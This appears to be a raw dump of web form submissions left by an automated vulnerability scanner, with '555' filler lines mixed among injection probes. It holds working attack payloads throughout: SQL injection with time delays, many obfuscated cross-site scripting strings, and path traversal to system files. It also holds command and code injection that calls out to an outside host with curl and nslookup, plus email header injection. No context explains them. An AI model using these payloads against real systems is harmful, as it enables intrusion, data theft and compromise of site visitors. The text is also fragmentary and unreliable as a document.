555

555

555

555

555

555

1C3Maol4o2O

555

555

HB4KlGZA

555

555

555

555

'.gethostbyname(lc('hitjj'.'ecpslebu650cc.bxss.me.')).'A'.chr(67).chr(hex('58')).chr(120).chr(80).chr(98).chr(87).'

555

555

555

555

555

555&n942455=v934987

".gethostbyname(lc("hiteo"."smbtvqkq6fdce.bxss.me."))."A".chr(67).chr(hex("58")).chr(116).chr(83).chr(121).chr(75)."

555<esi:include src="http://bxss.me/rpb.png"/>

555 bcc:0.282-229676.282.258be.19747.2@bxss.me

555

555

555

to@example.com> bcc:0.282-229678.282.258be.19747.2@bxss.me

555

555

555

555

555

$

555

555

555

555

555

)))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))))

555

555

555

555

555

555

555

555

555

555

555

555

../../../../../../../../../../../../../../etc/passwd

555

555

555

HttP://bxss.me/t/xss.html?%00

555

555

../../../../../../../../../../../../../../windows/win.ini

;assert(base64_decode('cHJpbnQobWQ1KDMxMzM3KSk7'));

xfs.bxss.me

555

555

"+"A".concat(70-3).concat(22*4).concat(112).concat(80).concat(109).concat(80)+(require"socket" Socket.gethostbyname("hitlt"+"nsixvpql1ac7b.bxss.me.")[3].to_s)+"

555

bxss.me/t/xss.html?%00

)

555

file:///etc/passwd

';print(md5(31337));$a='

555

555

555

'+'A'.concat(70-3).concat(22*4).concat(117).concat(79).concat(106).concat(89)+(require'socket' Socket.gethostbyname('hitwv'+'hpvoqgqz3a0be.bxss.me.')[3].to_s)+'

555

!(()&&!|*|*|

555

";print(md5(31337));$a="

555

555

'"

^(#$!@#$)(()))******

555

../555

$

litye-kolesa-motard&act=save_comment

555

<!--

$\

litye-kolesa-motard&act=save_comment

555

555

555

'.print(md5(31337)).'

litye-kolesa-motard&act=save_comment/.

1

555

555

555

555

555

555

555

555

response.write(9948364*9109549)

555

555

555

'+response.write(9948364*9109549)+'

http://dicrpdbjmemujemfyopp.zzz/yrphmgdpgulaszriylqiipemefmacafkxycjaxjs?.jpg

0

555

"+response.write(9948364*9109549)+"

555

1yrphmgdpgulaszriylqiipemefmacafkxycjaxjs.jpg

'"()

555

Http://bxss.me/t/fit.txt

555'&&sleep(27*1000)*etkawr&&'

555

http://bxss.me/t/fit.txt?.jpg

555"&&sleep(27*1000)*tspjbt&&"

555

/etc/shells

555'||sleep(27*1000)*rhyjki||'

555

c:/windows/win.ini

555"||sleep(27*1000)*mvdyog||"

555'"()&%<zzz><ScRiPt >qqx5(9245)</ScRiPt>

555

bxss.me

555

'"()&%<zzz><ScRiPt >qqx5(9735)</ScRiPt>

555

555

5559977754

echo eqwrmp$()\ lxocbf\nz^xyu||a #' &echo eqwrmp$()\ lxocbf\nz^xyu||a #|" &echo eqwrmp$()\ lxocbf\nz^xyu||a #

&echo ajhqaz$()\ qtktpx\nz^xyu||a #' &echo ajhqaz$()\ qtktpx\nz^xyu||a #|" &echo ajhqaz$()\ qtktpx\nz^xyu||a #

bfg3231＜s1﹥s2ʺs3ʹhjl3231

555&echo xsyuej$()\ bzdqip\nz^xyu||a #' &echo xsyuej$()\ bzdqip\nz^xyu||a #|" &echo xsyuej$()\ bzdqip\nz^xyu||a #

|echo auuqjn$()\ erfhrv\nz^xyu||a #' |echo auuqjn$()\ erfhrv\nz^xyu||a #|" |echo auuqjn$()\ erfhrv\nz^xyu||a #

bfgx10936��z1��z2a�bcxhjl10936

555|echo ezttix$()\ blmovm\nz^xyu||a #' |echo ezttix$()\ blmovm\nz^xyu||a #|" |echo ezttix$()\ blmovm\nz^xyu||a #

(nslookup -q=cname hitnsqglvxtxz855b3.bxss.me||curl hitnsqglvxtxz855b3.bxss.me))

<%=}%>

$(nslookup -q=cname hitsquhpfsjkq960ef.bxss.me||curl hitsquhpfsjkq960ef.bxss.me)

&nslookup -q=cname hitaegcazbiqc8f2f4.bxss.me&'\"`0&nslookup -q=cname hitaegcazbiqc8f2f4.bxss.me&`'

<th:t="$#foreach

&(nslookup -q=cname hitqtftmpiuyzb3a29.bxss.me||curl hitqtftmpiuyzb3a29.bxss.me)&'\"`0&(nslookup -q=cname hitqtftmpiuyzb3a29.bxss.me||curl hitqtftmpiuyzb3a29.bxss.me)&`'

|(nslookup -q=cname hitcjizdvehukb676a.bxss.me||curl hitcjizdvehukb676a.bxss.me)

555'"()&%<zzz><ScRiPt >72a8(9253)</ScRiPt>

1}}"}}'}}1%>"%>'%><%=}%>

`(nslookup -q=cname hitludiegobbha739d.bxss.me||curl hitludiegobbha739d.bxss.me)`

;(nslookup -q=cname hitmfahwazspc2ac71.bxss.me||curl hitmfahwazspc2ac71.bxss.me)|(nslookup -q=cname hitmfahwazspc2ac71.bxss.me||curl hitmfahwazspc2ac71.bxss.me)&(nslookup -q=cname hitmfahwazspc2ac71.bxss.me||curl hitmfahwazspc2ac71.bxss.me)

dfb}xca

'"()&%<zzz><ScRiPt >72a8(9183)</ScRiPt>

dfb[[$]]xca

5559978154

dfb__$__::.x

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

bfg9981＜s1﹥s2ʺs3ʹhjl9981

555<ScRiPt >qqx5(9769)</ScRiPt>

555<WUNKB5>J0LO7[!+!]</WUNKB5>

bfgx5958��z1��z2a�bcxhjl5958

555<script>qqx5(9144)</script>

555<script>qqx5(9425)</script>9425

<%=}%>

555<ScR<ScRiPt>IpT>qqx5(9506)</sCr<ScRiPt>IpT>

<th:t="$#foreach

555<ScRiPt >qqx5(9831)</ScRiPt>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9968></ScRiPt>

1}}"}}'}}1%>"%>'%><%=}%>

555

555<ScRiPt >qqx5(9889)</ScRiPt>

555<svg  �onload=qqx5(9605);>

dfb}xca

555

555<isindex type=image src=1 onerror=qqx5(9771)>

dfb[[$]]xca

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9880'>

555<body onload=qqx5(9492)>

555

dfb__$__::.x

555<img src=//xss.bxss.me/t/dot.gif onload=qqx5(9055)>

555

555<img src=xyz OnErRor=qqx5(9172)>

"dfbzzzzzzzzbbbccccdddeeexca".replace("z","o")

555<img/src=">" onerror=alert(9603)>

555<ScRiPt >72a8(9859)</ScRiPt>

%35%35%35%3C%53%63%52%69%50%74%20%3E%71%71%78%35%289765%29%3C%2F%73%43%72%69%70%54%3E

555

555\u003CScRiPt\qqx5(9934)\u003C/sCripT\u003E

555<WVZIO3>GS9CJ[!+!]</WVZIO3>

555<ScRiPt>qqx5(9447)</sCripT>

555

�<img zzz onmouseover=qqx5(95051) //�>

555<script>72a8(9231)</script>

555<input autofocus onfocus=qqx5(9528)>

555<script>72a8(9412)</script>9412

<a HrEF=http://xss.bxss.me></a>

<a HrEF=jaVaScRiPT:>

555

555<ScR<ScRiPt>IpT>72a8(9201)</sCr<ScRiPt>IpT>

555}body

555

555ySmkL <ScRiPt >qqx5(9085)</ScRiPt>

555<ScRiPt >72a8(9059)</ScRiPt>

555<WZFSCO>CQFEF[!+!]</WZFSCO>

555

555<ifRAme sRc=9110.com></IfRamE>

555<ScRiPt/zzz src=//xss.bxss.me/t/xss.js?9134></ScRiPt>

555<ahodVcP x=9407>

555<ScRiPt >72a8(9094)</ScRiPt>

555

555<img sRc='http://attacker-9931/log.php?

555<ahSYXYZ<

555<svg  �onload=72a8(9650);>

555<isindex type=image src=1 onerror=72a8(9480)>

555<iframe src='data:text/html;base64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=' invalid='9175'>

555<body onload=72a8(9287)>

555

555<img src=//xss.bxss.me/t/dot.gif onload=72a8(9060)>

555<img src=xyz OnErRor=72a8(9955)>

555<img/src=">" onerror=alert(9918)>

%35%35%35%3C%53%63%52%69%50%74%20%3E%37%32%61%38%289919%29%3C%2F%73%43%72%69%70%54%3E

555

555\u003CScRiPt\72a8(9929)\u003C/sCripT\u003E

555

555<ScRiPt>72a8(9630)</sCripT>

555

�<img zzz onmouseover=72a8(91051) //�>

555

555<input autofocus onfocus=72a8(9715)>

555

<a HrEF=http://xss.bxss.me></a>

555

<a HrEF=jaVaScRiPT:>

555

555}body

555raLW3 <ScRiPt >72a8(9146)</ScRiPt>

555

555<WLI9IN>46SY8[!+!]</WLI9IN>

X1ZedQai

555<ifRAme sRc=9489.com></IfRamE>

555

555<axcJQuZ x=9256>

-1 OR 2+623-623-1=0+0+0+1 --

-1 OR 2+887-887-1=0+0+0+1

-1' OR 2+657-657-1=0+0+0+1 --

555<img sRc='http://attacker-9397/log.php?

-1' OR 2+44-44-1=0+0+0+1 or 'ahci5oXK'='

-1" OR 2+524-524-1=0+0+0+1 --

555<aZen4Fa<

if(now()=sysdate(),sleep(15),0)

0'XOR(if(now()=sysdate(),sleep(15),0))XOR'Z

0"XOR(if(now()=sysdate(),sleep(15),0))XOR"Z

(select(0)from(select(sleep(15)))v)/*'+(select(0)from(select(sleep(15)))v)+'"+(select(0)from(select(sleep(15)))v)+"*/

-1; waitfor delay '0:0:15' --

-1); waitfor delay '0:0:15' --

1 waitfor delay '0:0:15' --

TSAcqYKm'; waitfor delay '0:0:15' --

-5 OR 616=(SELECT 616 FROM PG_SLEEP(15))--

-5) OR 221=(SELECT 221 FROM PG_SLEEP(15))--

-1)) OR 154=(SELECT 154 FROM PG_SLEEP(15))--

jjj36BG8' OR 447=(SELECT 447 FROM PG_SLEEP(15))--

MgfKwNoi') OR 373=(SELECT 373 FROM PG_SLEEP(15))--

AOzTNb36')) OR 944=(SELECT 944 FROM PG_SLEEP(15))--

555*DBMS_PIPE.RECEIVE_MESSAGE(CHR(99)||CHR(99)||CHR(99),15)

555'||DBMS_PIPE.RECEIVE_MESSAGE(CHR(98)||CHR(98)||CHR(98),15)||'

1'"

1����%2527%2522

@@dodd2

555

555

555

555

555

555

555